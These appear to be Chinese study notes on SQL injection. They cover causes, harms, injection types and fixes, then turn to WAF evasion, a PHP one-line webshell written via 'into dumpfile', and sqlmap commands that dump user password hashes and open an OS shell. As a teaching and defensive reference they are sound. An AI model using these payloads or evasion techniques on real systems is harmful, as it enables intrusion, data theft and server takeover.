原理:
web应用程序对用户输入的数据没有进行过滤,或者过滤不严,就把sql语句拼接进数据库中进行查询
①参数用户可控:前端传给后端的参数内容是用户可以控制的。
②参数代入数据库查询:传入的参数拼接到sql语句,且带入数据库查询。
危害:
①数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
②网页篡改:通过操作数据库对特定网页进行篡改。
③网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
④数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
⑤服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
⑥破坏硬盘数据,瘫痪全系统。
分类:
基础层面get型注入:联合注入,报错注入,偏移注入
特殊手法get型注入:盲注(时间盲注,布尔盲注),堆叠注入,二次注入,宽字节注入(利用条件不同,手法完全基于基础层面),dnslog注入
进阶层面post型注入:body注入,cookie注入,referer注入,ua头注入,xff头注入(位置不同,手法完全基于基础层面)
闭合符:
整型,字符型(单引号,双引号),有很小部分使用到括号
修复建议:
(1)使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(8)过滤危险字符,例如:采用正则表达式匹配union、sleep、and、select、load_file等关键字,如果匹配到则终止运行。
绕过方式:
架构层绕WAF
①用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,直接访问,绕过waf就不在话下了
②在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf
③边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入
④二次注入(极少见)
资源限制层面绕WAF
①脏数据
协议层面绕过WAF
①更改传输方式get/post等
② 更改文件类型:Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf
③ 参数污染:例如index.php?id=1&id=2,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入
规则层面绕过
①URL编码/双重URL编码
②base64编码
③hex编码
④大小写
⑤内联注释
⑥复写;等价符
⑦宽字节(极少见)
⑧堆叠(极少见)
⑨等价函数
⑩分块传输
常见数据库对应端口号
(1)关系型数据库
MySql数据库 ,默认端口是: 3306;
Oracle数据库 ,默认端口号为:1521;
Sql Server数据库 ,默认端口号为:1433;
DB2数据库, 默认端口号为:5000;
PostgreSQL数据库, 默认端口号为:5432;
国产的DM达梦数据库, 默认端口号为:5236。
(2)NoSql数据库(非关系型数据库):
Redis数据库,默认端口号:6379;
Memcached数据库,默认端口号:11211 ;
MongoDB数据库,默认端口号:27017;"
sql注入写入一句话的paylaod以及需要的条件
(1)root权限、绝对路径、未编译
(2)有网站的绝对路径
(3)mysql服务对网站的网络路径有写权限
(4)文件夹权限;文件权限;用户权限
(5)secure_ file _ priv=’’ 表示不允许写入或导出
(6)启动phpstudy,在my.ini中添加此句
(7)mysql连接用户有file权限
(8)未对sql语句进行转义
sqlmap怎么拿shell
(1)os-shell
(前提条件:①要求为DBA,--is-dba(phpstudy搭建的一般为DBA)
②知道网站的绝对路径
③GPC为off,php主动转义的功能关闭)
(2)向数据库写入文件
(into_outfile 前提条件:①web目录具有写权限,能够使用单引号
②知道网站绝对路径(根目录,或则是根目录往下的目录都行)
③secure_file_priv没有具体值(在mysql/my.ini中查看))
(3)写文件:
select ‘一句话’ into outfile ‘路径’
select ‘一句话’ into dumpfile ‘路径’
select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;
Sqlmap自动化注入程序命令
-v 4 显示具体注入过程
-u URL 选择get型目标
-r post数据包绝对路径 选择post型目标
-m 批量url包绝对路径 批量注入get型目标
--random-agent 更换随机ua头发包
--proxy=代理地址:代理端口 给你的sql注入挂代理
--tamper=脚本名字 使用编写好的payload替换脚本来替换sqlmap中的payload,以此绕过waf/防火墙等防护
(脚本需要放在sqlmap的tamper目录中)
--threads=进程数 更改sqlmap注入时使用的进程数,以此提高sqlmap注入的效率
(一般默认上限为10,更改后可达到100,但需要修改配置文件)
-p 目标参数 指定sqlmap要注入的参数,避免sql注入进行无用注入,防止被封以及效率过低
(例子xxxxx/?id=1&name=2&passwd=3 需要注入passwd时要使用-p passwd)
--level=3 这个是测试深度,高了无所谓,顶多慢点
--risk=2 这个是测试危险度,高了就踩缝纫机 ,最高是3,但只能用到2
-a, --all 获取所有信息(其实就是--dump,踩缝纫机)
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容
那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
--dump 拿走数据(如果你前面没加任何库表列,那么默认全部,然后踩缝纫机)
--dump-all 拿走全部数据,然后踩缝纫机
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D 库名 要进行枚举的指定数据库名
-T 表名 DBMS数据库表枚举
-C 列名 DBMS数据库表列枚举
-U 用户名 用来进行枚举的数据库用户
--sql-shell 获取数据库权限
--os-shell 获取当前数据库所在系统权限
--batch 从不询问用户输入,使用所有默认配置(使用--sql-shell和--os-shell时不要使用)
--flush-session 忽略之前注入过的结果,重新注入
sqlmap基础使用方法
查看当前用户: sqlmap -u "http://127.0.0.1/?id=1" --random-agent --current-user 查看数据库账户密码: sqlmap -u "http://127.0.0.1/?id=1" --random-agent --users --password 查看数据库: sqlmap -u "http://127.0.0.1/?id=1" --random-agent --dbs 已知库test,查表: sqlmap -u "http://127.0.0.1/?id=1" --random-agent -D "test" --tables 已知库test,表Users,查字段: sqlmap -u "http://127.0.0.1/?id=1" --random-agent -D "test" -T "users" --columns 已知库test,表Users,字段名ID、password,查ID、password字段内容 sqlmap -u "http://127.0.0.1/?id=1" --random-agent -D "test" -T "users" -C "ID,password" --dump